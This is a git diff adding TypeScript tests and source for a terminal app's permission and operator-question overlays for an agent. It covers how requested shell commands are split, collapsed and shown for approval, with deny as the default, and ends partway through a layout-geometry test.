Current scroll lease derived from the top frame. */ +export type ScrollLease = { + readonly owner: FocusTarget | null; +}; + +export type OpenOverlayOpts = { + /** + * Surface kind. Defaults to `"overlay"`. + * Use `"palette"` for the command palette (still an overlay-priority slot). + */ + readonly target?: FocusTarget; + /** + * Who receives wheel/page while this frame is top. + * Defaults to `target` (list/body owns scroll). + */ + readonly scrollOwner?: FocusTarget; +}; diff --git a/src/tui-opentui/gate-wire.test.ts b/src/tui-opentui/gate-wire.test.ts new file mode 100644 index 000000000..19852553a --- /dev/null +++ b/src/tui-opentui/gate-wire.test.ts @@ -0,0 +1,659 @@ +/** + * Pure gate-wire unit tests — no renderer. + */ +import { EventEmitter } from "node:events" +import { describe, expect, test } from "bun:test" +import type { PermissionRequest } from "../permission/types.js" +import type { KeyEvent } from "@opentui/core" +import { withTestRenderer, type Harness } from "./harness.js" +import { OVERLAY_MAX_FRACTION } from "./geometry/index.js" +import { + acceptOverlaySelection, + createAppShell, + exitOverlayAnswerMode, + handleOverlayAnswerKey, + moveOverlaySelection, + setOverlayAnswerActive, + toggleOverlayExpand, + type AppShell, +} from "./shell.js" +import { + approvalOutcomeFromSelection, + operatorCancelResult, + operatorChoicesFromOptions, + operatorCustomResult, + operatorResultFromSelection, + PERMISSION_DENY_ID, + PERMISSION_ONCE_ID, + permissionBodyFromRequest, + permissionChoicesFromRequest, + wireGates, +} from "./gate-wire.js" + +const baseRequest = ( + overrides: Partial = {}, +): PermissionRequest => ({ + tool: "run_shell", + action: "Run shell command", + subject: "bun test", + scopes: [], + ...overrides, +}) + +describe("permissionChoicesFromRequest", () => { + test("always includes reject + accept once", () => { + const choices = permissionChoicesFromRequest(baseRequest()) + expect(choices.items).toEqual(["Reject", "Accept once"]) + expect(choices.itemIds).toEqual([PERMISSION_DENY_ID, PERMISSION_ONCE_ID]) + expect(choices.outcomes).toEqual([{ allow: false }, { allow: true }]) + }) + + test("appends scopes with optional hint; persist only when pattern set", () => { + const scopeWithPattern = { + id: "session-git", + label: "Allow git *", + pattern: "git *", + hint: "family", + grant: "session" as const, + } + const onceScope = { + id: "once-extra", + label: "Allow this path", + pattern: null, + } + const choices = permissionChoicesFromRequest( + baseRequest({ + scopes: [scopeWithPattern, onceScope], + }), + ) + expect(choices.items).toEqual([ + "Reject", + "Accept once", + "Allow git * (family)", + "Allow this path", + ]) + expect(choices.itemIds).toEqual([ + PERMISSION_DENY_ID, + PERMISSION_ONCE_ID, + "session-git", + "once-extra", + ]) + expect(choices.outcomes[2]).toEqual({ + allow: true, + persist: scopeWithPattern, + }) + expect(choices.outcomes[3]).toEqual({ allow: true }) + }) +}) + +describe("approvalOutcomeFromSelection", () => { + test("index maps to parallel outcomes; OOB denies", () => { + const choices = permissionChoicesFromRequest( + baseRequest({ + scopes: [ + { + id: "proj", + label: "Allow always", + pattern: "bun test", + grant: "project", + }, + ], + }), + ) + expect(approvalOutcomeFromSelection(choices, { index: 0 })).toEqual({ + allow: false, + }) + expect(approvalOutcomeFromSelection(choices, { index: 1 })).toEqual({ + allow: true, + }) + expect(approvalOutcomeFromSelection(choices, { index: 2 }).allow).toBe( + true, + ) + expect( + approvalOutcomeFromSelection(choices, { index: 2 }).persist?.id, + ).toBe("proj") + expect(approvalOutcomeFromSelection(choices, { index: 99 })).toEqual({ + allow: false, + }) + }) + + test("id preferred over index when present", () => { + const choices = permissionChoicesFromRequest( + baseRequest({ + scopes: [ + { id: "a", label: "A", pattern: "a*" }, + { id: "b", label: "B", pattern: "b*" }, + ], + }), + ) + const byId = approvalOutcomeFromSelection(choices, { + index: 0, + id: "b", + }) + expect(byId.allow).toBe(true) + expect(byId.persist?.id).toBe("b") + }) + + test("unknown id falls back to index", () => { + const choices = permissionChoicesFromRequest(baseRequest()) + expect( + approvalOutcomeFromSelection(choices, { + index: 1, + id: "missing", + }), + ).toEqual({ allow: true }) + }) +}) + +describe("permissionBodyFromRequest", () => { + test("joins tool/action/subject and optional agent/notice", () => { + expect(permissionBodyFromRequest(baseRequest())).toBe( + "run_shell\nRun shell command\nbun test", + ) + expect( + permissionBodyFromRequest( + baseRequest({ + agentLabel: "explore", + notice: "mega-chain", + }), + ), + ).toBe( + "run_shell\nRun shell command\nbun test\nagent: explore\nmega-chain", + ) + }) + + test("a chained command stays visibly chained, one numbered line per segment", () => { + const body = permissionBodyFromRequest( + baseRequest({ subject: "npm install && rm -rf /tmp/cache; echo done" }), + ) + expect(body.split("\n").slice(2)).toEqual([ + "1) npm install", + "2) rm -rf /tmp/cache", + "3) echo done", + ]) + }) + + test("bulk payloads collapse to a placeholder with an expand hint", () => { + const request = baseRequest({ + subject: 'git commit -m "line one\nline two\nline three"', + }) + const collapsed = permissionBodyFromRequest(request, { hint: true }) + expect(collapsed).toContain("") + expect(collapsed).not.toContain("line two") + expect(collapsed).toContain("e expand 1 collapsed payload") + }) + + test("expanding keeps the placeholder and reveals every payload line", () => { + const request = baseRequest({ + subject: 'git commit -m "line one\nline two\nline three"', + }) + const expanded = permissionBodyFromRequest(request, { + expanded: true, + hint: true, + }) + expect(expanded).toContain("") + expect(expanded).toContain("line one") + expect(expanded).toContain("line two") + expect(expanded).toContain("line three") + expect(expanded).toContain("e collapse payloads") + }) + + test("code-consuming segments are never collapsed", () => { + const body = permissionBodyFromRequest( + baseRequest({ subject: "bash -c 'echo one\necho two'" }), + ) + expect(body).toContain("echo two") + expect(body).not.toContain(" { + test("choices mirror options with index string ids", () => { + const opts = ["Cancel", "Option A", "Option B"] + const choices = operatorChoicesFromOptions(opts) + expect(choices.items).toEqual(opts) + expect(choices.itemIds).toEqual(["0", "1", "2"]) + }) + + test("selection index → option; OOB → cancel", () => { + const opts = ["A", "B"] + expect(operatorResultFromSelection(opts, { index: 0 })).toEqual({ + kind: "option", + index: 0, + }) + expect(operatorResultFromSelection(opts, { index: 1 })).toEqual({ + kind: "option", + index: 1, + }) + expect(operatorResultFromSelection(opts, { index: -1 })).toEqual({ + kind: "cancel", + }) + expect(operatorResultFromSelection(opts, { index: 9 })).toEqual({ + kind: "cancel", + }) + }) + + test("id string index preferred when valid", () => { + const opts = ["A", "B", "C"] + expect( + operatorResultFromSelection(opts, { index: 0, id: "2" }), + ).toEqual({ kind: "option", index: 2 }) + // non-decimal / out of range id ignored → use index + expect( + operatorResultFromSelection(opts, { index: 1, id: "nope" }), + ).toEqual({ kind: "option", index: 1 }) + }) + + test("cancel / custom constructors", () => { + expect(operatorCancelResult()).toEqual({ kind: "cancel" }) + expect(operatorCustomResult("typed")).toEqual({ + kind: "custom", + text: "typed", + }) + }) +}) + +describe("wireGates", () => { + test("subscribes exactly permission.gate and operator.gate; dispose removes both", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + const emitter = new EventEmitter() + try { + const dispose = wireGates(emitter, shell) + expect(emitter.listenerCount("permission.gate")).toBe(1) + expect(emitter.listenerCount("operator.gate")).toBe(1) + + dispose() + expect(emitter.listenerCount("permission.gate")).toBe(0) + expect(emitter.listenerCount("operator.gate")).toBe(0) + } finally { + shell.dispose() + } + }) + }) + + test("permission.gate opens overlay and resolves selection through onAccept", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + const emitter = new EventEmitter() + let resolved: unknown + const request: PermissionRequest = { + tool: "run_shell", + action: "Run shell command", + subject: "bun test", + scopes: [], + } + try { + const dispose = wireGates(emitter, shell) + emitter.emit("permission.gate", { + request, + resolve: (outcome: unknown) => { + resolved = outcome + }, + }) + expect(shell.overlayKind).toBe("permissions") + expect(shell.overlayItems).toEqual(["Reject", "Accept once"]) + + acceptOverlaySelection(shell) + expect(resolved).toEqual({ allow: false }) + + dispose() + } finally { + shell.dispose() + } + }) + }) + + test("permission.gate paints the collapsed body and expands it on toggle", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 100, rows: 40 }, + run: "idle", + }) + const emitter = new EventEmitter() + const request: PermissionRequest = { + tool: "run_shell", + action: "Run shell command", + subject: 'echo start && cat > notes.txt < {} }) + + const collapsed = shell.overlayBodyLines.join("\n") + expect(collapsed).toContain("1) echo start") + expect(collapsed).toContain("") + expect(collapsed).not.toContain("alpha") + + expect(toggleOverlayExpand(shell)).toBe(true) + const expanded = shell.overlayBodyLines.join("\n") + expect(expanded).toContain("") + expect(expanded).toContain("alpha") + expect(expanded).toContain("beta") + + // Full text also lands in the scrollable transcript, which no + // overlay height cap can clip. + const streamed = shell.streamLog.map((r) => r.text).join("\n") + expect(streamed).toContain("alpha") + + expect(toggleOverlayExpand(shell)).toBe(true) + expect(shell.overlayBodyLines.join("\n")).not.toContain("alpha") + + dispose() + } finally { + shell.dispose() + } + }) + }) + + test("operator.gate opens overlay and resolves selection through onAccept", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + const emitter = new EventEmitter() + let resolved: unknown + try { + const dispose = wireGates(emitter, shell) + emitter.emit("operator.gate", { + question: "Proceed?", + options: ["Cancel", "Continue"], + resolve: (result: unknown) => { + resolved = result + }, + }) + expect(shell.overlayKind).toBe("operator") + expect(shell.overlayItems).toEqual(["Cancel", "Continue"]) + + acceptOverlaySelection(shell) + expect(resolved).toEqual({ kind: "option", index: 0 }) + + dispose() + } finally { + shell.dispose() + } + }) + }) + + test("gate content reaches the transcript only after the operator decides", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 96, rows: 30 }, + run: "idle", + }) + const emitter = new EventEmitter() + const request: PermissionRequest = { + tool: "run_shell", + action: "Run shell command", + subject: "ls -la ~/.corbits/projects", + scopes: [], + } + try { + const dispose = wireGates(emitter, shell) + emitter.emit("permission.gate", { request, resolve: () => {} }) + + // The overlay is showing this text; a transcript copy directly above it + // reads as a second, unrelated request. + expect( + shell.streamLog.filter((r) => r.meta === "permission"), + ).toHaveLength(0) + + acceptOverlaySelection(shell) + + const recorded = shell.streamLog + .filter((r) => r.meta === "permission") + .map((r) => r.text) + .join("\n") + expect(recorded).toContain("ls -la ~/.corbits/projects") + expect(recorded).toContain("Reject") + + dispose() + } finally { + shell.dispose() + } + }) + }) +}) + +describe("permission overlay height", () => { + const openGate = (shell: AppShell, scopeCount: number): void => { + const emitter = new EventEmitter() + wireGates(emitter, shell) + emitter.emit("permission.gate", { + request: { + tool: "run_shell", + action: "Run shell command", + subject: "ls -la ~/.corbits/projects 2>/dev/null | head -40", + scopes: Array.from({ length: scopeCount }, (_, i) => ({ + id: `s${i}`, + label: `Always allow scope ${i}`, + pattern: `p${i}`, + })), + }, + resolve: () => {}, + }) + } + + const hostRowsFor = async ( + rows: number, + scopeCount: number, + ): Promise => { + let height = -1 + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 96, rows }, + run: "idle", + }) + try { + openGate(shell, scopeCount) + height = shell.layout.heights.overlay_host + } finally { + shell.dispose() + } + }, + { width: 96, height: rows }, + ) + return height + } + + test("tracks item count, not terminal height", async () => { + const short = await hostRowsFor(30, 1) + const tall = await hostRowsFor(60, 1) + expect(short).toBe(tall) + + // Two extra choices cost exactly two extra rows: the choices are + // single-spaced, so the list is one row per item. + expect(await hostRowsFor(60, 3)).toBe(tall + 2) + }) + + test("caps rather than growing, and the list scrolls inside the cap", async () => { + const rows = 40 + const capped = await hostRowsFor(rows, 40) + expect(capped).toBeLessThanOrEqual(Math.floor(rows * OVERLAY_MAX_FRACTION)) + // Capped means the viewport holds fewer items than exist, not that rows + // spill outside the host. + expect(capped).toBeLessThan(await hostRowsFor(rows, 1) + 40) + }) +}) + +describe("operator question overlay", () => { + const emitOperator = ( + shell: AppShell, + options: readonly string[], + onResolve: (result: unknown) => void, + ): void => { + const emitter = new EventEmitter() + wireGates(emitter, shell) + emitter.emit("operator.gate", { + question: "Scope for this run is still . What should it be?", + options: [...options], + resolve: onResolve, + }) + } + + const keyOf = (seq: string, name?: string): KeyEvent => + ({ + name: name ?? seq, + sequence: seq, + ctrl: false, + meta: false, + option: false, + }) as unknown as KeyEvent + + const withOperator = async ( + rows: number, + options: readonly string[], + body: ( + h: Harness, + shell: AppShell, + resolved: () => unknown, + ) => void | Promise, + ): Promise => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 96, rows }, + run: "idle", + }) + let resolved: unknown = undefined + try { + emitOperator(shell, options, (r) => { + resolved = r + }) + await body(h, shell, () => resolved) + } finally { + shell.dispose() + } + }, + { width: 96, height: rows }, + ) + } + + const frameOf = async ( + h: Harness, + ): Promise => { + await h.renderOnce() + await h.renderOnce() + return h.captureCharFrame() + } + + for (const rows of [24, 60]) { + test(`several options render and resolve by index at ${rows} rows`, async () => { + await withOperator(rows, ["repo only", "docs too", "everything"], (h, shell, resolved) => { + expect(shell.overlayKind).toBe("operator") + expect(shell.overlayItems).toEqual(["repo only", "docs too", "everything"]) + moveOverlaySelection(shell, 1) + acceptOverlaySelection(shell) + expect(resolved()).toEqual({ kind: "option", index: 1 }) + void h + }) + }) + + test(`a single option still renders a choosable row at ${rows} rows`, async () => { + await withOperator(rows, ["only this"], (h, shell, resolved) => { + expect(shell.overlayItems).toEqual(["only this"]) + acceptOverlaySelection(shell) + expect(resolved()).toEqual({ kind: "option", index: 0 }) + void h + }) + }) + + test(`no options opens straight into the answer field at ${rows} rows`, async () => { + await withOperator(rows, [], async (h, shell, resolved) => { + expect(shell.overlayKind).toBe("operator") + expect(shell.overlayItems).toEqual([]) + const frame = await frameOf(h) + // Never offer a chooser with nothing to choose. + expect(frame).not.toContain("Enter choose") + expect(frame).toContain("Enter send") + expect(frame).toContain("answer>") + // Enter with nothing typed must not resolve the gate at all. + acceptOverlaySelection(shell) + expect(resolved()).toBeUndefined() + }) + }) + } + + test("the answer field is advertised on screen next to the choices", async () => { + await withOperator(40, ["repo only", "everything"], async (h) => { + const frame = await frameOf(h) + expect(frame).toContain("Tab type an answer") + expect(frame).toContain("type your own answer") + }) + }) + + test("a typed answer round-trips as a custom OperatorResult", async () => { + await withOperator(40, ["repo only", "everything"], (h, shell, resolved) => { + expect(setOverlayAnswerActive(shell, true)).toBe(true) + for (const ch of "src and docs") { + expect(handleOverlayAnswerKey(shell, keyOf(ch))).toBe(true) + } + expect(handleOverlayAnswerKey(shell, keyOf("x", "backspace"))).toBe(true) + expect(handleOverlayAnswerKey(shell, keyOf("", "return"))).toBe(true) + expect(resolved()).toEqual({ kind: "custom", text: "src and doc" }) + // Submitting closes the overlay, so the host is free for the next gate. + expect(shell.overlayList).toBeNull() + void h + }) + }) + + test("Esc in the answer field returns to the choices instead of cancelling", async () => { + await withOperator(40, ["repo only"], (h, shell, resolved) => { + setOverlayAnswerActive(shell, true) + expect(exitOverlayAnswerMode(shell)).toBe(true) + expect(shell.overlayList).not.toBeNull() + expect(resolved()).toBeUndefined() + void h + }) + }) + + test("a gate arriving while another overlay is open opens once that one closes", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 96, rows: 40 }, + run: "idle", + }) + const emitter = new EventEmitter() + let approved: unknown = undefined + let answered: unknown = undefined + try { + wireGates(emitter, shell) + emitter.emit("permission.gate", { + request: baseRequest(), + resolve: (o: unknown) => { + approved = o + }, + }) + emitter.emit("operator.gate", { + question: "Scope for this run?", + options: ["repo only"], + resolve: (r: unknown) => { + answered = r + }, + }) + expect(shell.overlayKind).toBe("permissions") + + acceptOverlaySelection(shell) + expect(approved).toEqual({ allow: false }) + // The queued question is not lost: it takes the host as it frees up. + expect(shell.overlayKind).toBe("operator") + acceptOverlaySelection(shell) + expect(answered).toEqual({ kind: "option", index: 0 }) + } finally { + shell.dispose() + } + }, + { width: 96, height: 40 }, + ) + }) +}) diff --git a/src/tui-opentui/gate-wire.ts b/src/tui-opentui/gate-wire.ts new file mode 100644 index 000000000..30b2e5486 --- /dev/null +++ b/src/tui-opentui/gate-wire.ts @@ -0,0 +1,331 @@ +/** + * Pure gate wiring: PermissionRequest / operator options → overlay list rows + * and reverse mapping selection → ApprovalOutcome / OperatorResult. + * Hosts open overlays with the returned items/itemIds and resolve via these helpers. + */ + +import type { EventEmitter } from "node:events" +import type { OperatorResult } from "../agent/tools.js" +import { formatCommandForApproval, middleEllipsis } from "./command-display.js" +import { openOperatorOverlay, openPermissionsOverlay } from "./overlays.js" +import type { + ApprovalOutcome, + ApprovalScope, + PermissionRequest, +} from "../permission/types.js" +import type { AppShell, OverlaySelection } from "./shell.js" +import { appendStreamRow, onOverlayClosed, setOverlayBody } from "./shell.js" +import { EXPAND_KEY } from "./stream.js" + +/** Stable sentinel ids for the always-present deny / once rows. */ +export const PERMISSION_DENY_ID = "__deny__" as const +export const PERMISSION_ONCE_ID = "__once__" as const + +/** + * Expand/collapse chord for collapsed payloads. Scoped to the open permission + * overlay rather than registered in SHELL_SHORTCUTS: the overlay is modal, so + * a bare letter is free there, and Ctrl+O (the Ink-era chord) is the command + * palette in this shell. Shared with the transcript's collapsed rows so the + * product has one expand idiom. + */ +export const PERMISSION_EXPAND_KEY = EXPAND_KEY + +export type PermissionGateChoices = { + readonly items: readonly string[] + readonly itemIds: readonly string[] + /** Parallel to items — index into this on accept. */ + readonly outcomes: readonly ApprovalOutcome[] +} + +export type GateSelection = { + readonly index: number + /** When present, preferred over index for outcome lookup. */ + readonly id?: string +} + +/** + * Build permission overlay rows from a live PermissionRequest. + * Order: Reject → Accept once → request.scopes (label + optional hint). + */ +export function permissionChoicesFromRequest( + request: PermissionRequest, +): PermissionGateChoices { + const items: string[] = [] + const itemIds: string[] = [] + const outcomes: ApprovalOutcome[] = [] + + items.push("Reject") + itemIds.push(PERMISSION_DENY_ID) + outcomes.push({ allow: false }) + + items.push("Accept once") + itemIds.push(PERMISSION_ONCE_ID) + outcomes.push({ allow: true }) + + for (const scope of request.scopes) { + const label = scope.hint + ? `${scope.label} (${scope.hint})` + : scope.label + items.push(label) + itemIds.push(scope.id) + outcomes.push({ + allow: true, + ...(scope.pattern !== null ? { persist: scope as ApprovalScope } : {}), + }) + } + + return { items, itemIds, outcomes } +} + +/** + * Map overlay selection index/id → ApprovalOutcome. + * Unknown / out-of-range defaults to deny (safe closed). + */ +export function approvalOutcomeFromSelection( + choices: PermissionGateChoices, + selection: GateSelection, +): ApprovalOutcome { + if (selection.id !== undefined) { + const byId = choices.itemIds.indexOf(selection.id) + if (byId >= 0) { + return choices.outcomes[byId] ?? { allow: false } + } + } + return choices.outcomes[selection.index] ?? { allow: false } +} + +export type PermissionBodyOpts = { + /** Print collapsed payloads in full under their placeholder. */ + readonly expanded?: boolean + /** Append the expand/collapse affordance line (overlay only). */ + readonly hint?: boolean +} + +/** + * Compact multi-line body for stream / overlay context (no paint). + * The subject is rendered through the approval formatter so a chained command + * shows one numbered line per segment and bulk payloads collapse to a + * placeholder the operator can expand before approving. + */ +export function permissionBodyFromRequest( + request: PermissionRequest, + opts?: PermissionBodyOpts, +): string { + const display = formatCommandForApproval(request.subject, { + expanded: opts?.expanded === true, + }) + const hint = + opts?.hint === true && display.payloadCount > 0 + ? opts.expanded === true + ? `${PERMISSION_EXPAND_KEY} collapse payloads` + : `${PERMISSION_EXPAND_KEY} expand ${display.payloadCount} collapsed payload${display.payloadCount === 1 ? "" : "s"}` + : "" + return [ + request.tool, + request.action, + ...display.lines, + request.agentLabel ? `agent: ${request.agentLabel}` : "", + request.notice ?? "", + hint, + ] + .filter((l) => l.length > 0) + .join("\n") +} + +export type OperatorGateChoices = { + readonly items: readonly string[] + readonly itemIds: readonly string[] +} + +/** + * Operator options → list rows. itemIds are decimal index strings ("0", "1", …) + * so hosts can round-trip without a parallel outcomes array. + */ +export function operatorChoicesFromOptions( + options: readonly string[], +): OperatorGateChoices { + return { + items: [...options], + itemIds: options.map((_, i) => String(i)), + } +} + +/** + * Map selection → OperatorResult. + * Out-of-range or missing option → cancel (safe closed). + */ +export function operatorResultFromSelection( + options: readonly string[], + selection: GateSelection, +): OperatorResult { + let index = selection.index + if (selection.id !== undefined) { + const parsed = Number.parseInt(selection.id, 10) + if ( + Number.isInteger(parsed) && + parsed >= 0 && + parsed < options.length && + String(parsed) === selection.id + ) { + index = parsed + } + } + if (index < 0 || index >= options.length) { + return { kind: "cancel" } + } + return { kind: "option", index } +} + +export function operatorCancelResult(): OperatorResult { + return { kind: "cancel" } +} + +export function operatorCustomResult(text: string): OperatorResult { + return { kind: "custom", text } +} + +/** Label of the choice a selection lands on, or null when it maps to nothing. */ +function chosenLabel( + choices: PermissionGateChoices, + selection: GateSelection, +): string | null { + if (selection.id !== undefined) { + const byId = choices.itemIds.indexOf(selection.id) + if (byId >= 0) return choices.items[byId] ?? null + } + return choices.items[selection.index] ?? null +} + +/** + * Write the ask and the answer to the transcript, once the operator has + * decided. Deferred rather than emitted at gate time: while the overlay is up + * it is already showing this text directly below the row, and printing it + * twice reads as two separate requests. Scrollback still ends up complete. + */ +function recordDecision( + shell: AppShell, + request: PermissionRequest, + choices: PermissionGateChoices, + selection: GateSelection, +): void { + // Collapsing runs first, so this cap rarely bites; when it does, + // middleEllipsis keeps the tail of the chain visible instead of clipping the + // last segments away entirely. + const body = middleEllipsis(permissionBodyFromRequest(request), 500) + const label = chosenLabel(choices, selection) + const text = label === null ? body : `${body}\n→ ${label}` + if (text.length === 0) return + appendStreamRow(shell, { role: "system", text, meta: "permission" }) +} + +type PermissionGateEvent = { + request: PermissionRequest + resolve: (outcome: ApprovalOutcome) => void +} + +type OperatorGateEvent = { + question: string + options: string[] + resolve: (result: OperatorResult) => void +} + +/** + * Subscribe the permission/operator gate events to the shell's overlays. + * Returns a dispose function that removes exactly the listeners this call added. + */ +export function wireGates( + emitter: EventEmitter, + shell: AppShell, +): () => void { + // The shell has one overlay host, and opening onto a busy one is a no-op. + // Gates cannot be dropped that way — a lost ask_operator blocks the run with + // nothing on screen to answer — so a gate that arrives while another overlay + // is up waits here and opens as soon as the host frees up. + const pending: Array<() => void> = [] + + function openOrQueue(open: () => void): void { + if (shell.overlayList !== null) { + pending.push(open) + return + } + open() + } + + const disposeClosed = onOverlayClosed(shell, () => { + const next = pending.shift() + if (next) next() + }) + + function onPermission(ev: PermissionGateEvent): void { + const choices = permissionChoicesFromRequest(ev.request) + const collapsedBody = permissionBodyFromRequest(ev.request, { hint: true }) + // Nothing was collapsed → no expand affordance, so the overlay leaves the + // bare key unclaimed. + const collapsedAnything = + formatCommandForApproval(ev.request.subject).payloadCount > 0 + let expanded = false + + const onToggleExpand = (): void => { + expanded = !expanded + setOverlayBody( + shell, + permissionBodyFromRequest(ev.request, { expanded, hint: true }), + ) + if (!expanded) return + // The overlay body is height-capped by geometry, so the authoritative + // copy of an expanded payload goes to the scrollable transcript — whole, + // untruncated. Collapsing must never hide text the operator cannot + // otherwise reach before approving. + appendStreamRow(shell, { + role: "system", + text: permissionBodyFromRequest(ev.request, { expanded: true }), + meta: "permission", + }) + } + + openOrQueue(() => openPermissionsOverlay(shell, { + items: choices.items, + itemIds: choices.itemIds, + body: collapsedBody, + ...(collapsedAnything ? { onToggleExpand } : {}), + onAccept: (sel: OverlaySelection) => { + const gateSelection = { + index: sel.index, + ...(sel.id !== undefined ? { id: sel.id } : {}), + } + recordDecision(shell, ev.request, choices, gateSelection) + ev.resolve(approvalOutcomeFromSelection(choices, gateSelection)) + }, + })) + } + + function onOperator(ev: OperatorGateEvent): void { + const choices = operatorChoicesFromOptions(ev.options) + openOrQueue(() => openOperatorOverlay(shell, { + body: ev.question, + choices: choices.items, + itemIds: choices.itemIds, + onAccept: (sel: OverlaySelection) => { + ev.resolve( + operatorResultFromSelection(ev.options, { + index: sel.index, + ...(sel.id !== undefined ? { id: sel.id } : {}), + }), + ) + }, + // The ask_operator contract offers a free-form answer, so the overlay + // must be able to send one back rather than only an option index. + onTextAnswer: (text: string) => ev.resolve(operatorCustomResult(text)), + })) + } + + emitter.on("permission.gate", onPermission) + emitter.on("operator.gate", onOperator) + + return () => { + emitter.off("permission.gate", onPermission) + emitter.off("operator.gate", onOperator) + disposeClosed() + pending.length = 0 + } +} diff --git a/src/tui-opentui/geometry.test.ts b/src/tui-opentui/geometry.test.ts new file mode 100644 index 000000000..1f7075784 --- /dev/null +++ b/src/tui-opentui/geometry.test.ts @@ -0,0 +1,285 @@ +import { describe, expect, test } from "bun:test"; +import { + COLLAPSE_ORDER, + IDLE_TRANSCRIPT_FLOOR, + OVERLAY_TRANSCRIPT_FLOOR, + PROMPT_BASE_ROWS, + PROMPT_CAP_FRACTION, + PROMPT_IDLE_ROWS, + SIDE_MARGIN, + ZONE_IDS, + ZONE_REGISTRY, + resolveGeometry, + type GeometryInput, +} from "./geometry/index.js"; + +function idle80x24(overrides: Partial = {}) { + return resolveGeometry({ + terminal: { columns: 80, rows: 24 }, + ...overrides, + }); +} + +describe("zone registry", () => { + test("exports every constitution zone id", () => { + const expected = [ + "progress", + "progress_divider", + "notice", + "prompt", + "goal", + "task", + "agents", + "plugin_banner", + "command_banner", + "settings_notice", + "transcript", + "overlay_host", + ] as const; + expect([...ZONE_IDS]).toEqual([...expected]); + for (const id of expected) { + expect(ZONE_REGISTRY[id].id).toBe(id); + } + }); + + test("the prompt box is the only always-on chrome, and it rests taller than its floor", () => { + expect(ZONE_REGISTRY.notice.idleDefault).toBe(0); + expect(ZONE_REGISTRY.prompt.idleDefault).toBe(PROMPT_IDLE_ROWS); + expect(ZONE_REGISTRY.prompt.min).toBe(PROMPT_BASE_ROWS); + expect(ZONE_REGISTRY.notice.alwaysOn).toBe(false); + expect(ZONE_REGISTRY.progress.idleDefault).toBe(0); + expect(ZONE_REGISTRY.goal.idleDefault).toBe(0); + }); + + test("collapse order cuts temporary banners first and never cuts the prompt below base", () => { + expect(COLLAPSE_ORDER[0]).toBe("command_banner"); + expect(COLLAPSE_ORDER.at(-1)).toBe("prompt"); + expect(COLLAPSE_ORDER.indexOf("notice")).toBeLessThan( + COLLAPSE_ORDER.indexOf("prompt"), + ); + }); +}); + +describe("resolveGeometry — 80×24 idle floor", () => { + test("idle default chrome yields transcript ≥ 12", () => { + const layout = idle80x24(); + // The prompt box is the whole of idle chrome: 5 rows → transcript 19. + expect(layout.chromeHeight).toBe(PROMPT_IDLE_ROWS); + expect(layout.transcriptHeight).toBe(24 - PROMPT_IDLE_ROWS); + expect(layout.transcriptHeight).toBeGreaterThanOrEqual(IDLE_TRANSCRIPT_FLOOR); + expect(layout.regions.transcript?.height).toBe(24 - PROMPT_IDLE_ROWS); + expect(layout.overlayHeight).toBe(0); + expect(layout.overlayMode).toBe("closed"); + }); + + test("rects sit inside the gutter and y-stack without gaps or overlap", () => { + const layout = idle80x24(); + const order = ["transcript", "prompt"] as const; + expect(layout.sideMargin).toBe(SIDE_MARGIN); + expect(layout.contentWidth).toBe(80 - SIDE_MARGIN * 2); + let y = 0; + for (const id of order) { + const r = layout.regions[id]; + expect(r).toBeDefined(); + expect(r!.x).toBe(layout.sideMargin); + expect(r!.width).toBe(layout.contentWidth); + expect(r!.y).toBe(y); + expect(r!.height).toBeGreaterThan(0); + y += r!.height; + } + expect(y).toBe(24); + }); + + test("transcriptHeight matches regions.transcript.height", () => { + const layout = idle80x24({ + visibility: { progress: true, goal: true }, + }); + expect(layout.regions.transcript?.height).toBe(layout.transcriptHeight); + }); +}); + +describe("resolveGeometry — collapse rules", () => { + test("collapses optional strips before violating idle floor", () => { + // Request every optional strip + tall progress on 24 rows. + const layout = idle80x24({ + visibility: { + progress: 2, + progressDivider: true, + goal: true, + task: true, + agents: true, + pluginBanner: true, + commandBanner: 2, + settingsNotice: 3, + }, + }); + expect(layout.transcriptHeight).toBeGreaterThanOrEqual(IDLE_TRANSCRIPT_FLOOR); + // Temporary banners and optional strips should be first to go. + expect(layout.collapsed.length).toBeGreaterThan(0); + expect(layout.collapsed[0]).toBe("command_banner"); + // Always-on core chrome still present at min budgets. + expect(layout.heights.prompt).toBeGreaterThanOrEqual(PROMPT_BASE_ROWS); + }); + + test("progress shrinks 2→1 before dropping when space is scarce", () => { + // Force scarcity: many optionals on a slightly short terminal still ≥ floor path. + const crowded = resolveGeometry({ + terminal: { columns: 80, rows: 24 }, + visibility: { + progress: 2, + progressDivider: true, + goal: true, + task: true, + agents: true, + pluginBanner: true, + commandBanner: 2, + settingsNotice: 3, + }, + }); + // After full collapse of banners/optionals, progress may still be 1 or 0. + if (crowded.heights.progress > 0) { + // If progress survived, it was reduced via the 2→1 step at some point + // when starting from 2 — collapsed list should include progress if cut. + expect(crowded.heights.progress).toBeLessThanOrEqual(2); + } + // Explicit unit of the shrink step: start with only progress=2 + divider + // and artificially tiny rows so progress must shrink. + const tight = resolveGeometry({ + terminal: { columns: 80, rows: 20 }, + visibility: { + progress: 2, + progressDivider: true, + goal: true, + task: true, + agents: true, + commandBanner: 2, + settingsNotice: 3, + pluginBanner: true, + }, + }); + // On 20-row, floor is reduced; still must not starve below tiny floor. + expect(tight.transcriptHeight).toBeGreaterThanOrEqual(tight.transcriptFloor); + }); + + test("the notice row is cut only after optional strips and progress_divider", () => { + const layout = idle80x24({ + visibility: { + progress: 2, + progressDivider: true, + goal: true, + task: true, + agents: true, + pluginBanner: true, + commandBanner: 2, + settingsNotice: 3, + }, + }); + const noticeIdx = layout.collapsed.indexOf("notice"); + if (noticeIdx >= 0) { + const goalIdx = layout.collapsed.indexOf("goal"); + const cmdIdx = layout.collapsed.indexOf("command_banner"); + expect(cmdIdx).toBeGreaterThanOrEqual(0); + expect(cmdIdx).toBeLessThan(noticeIdx); + if (goalIdx >= 0) 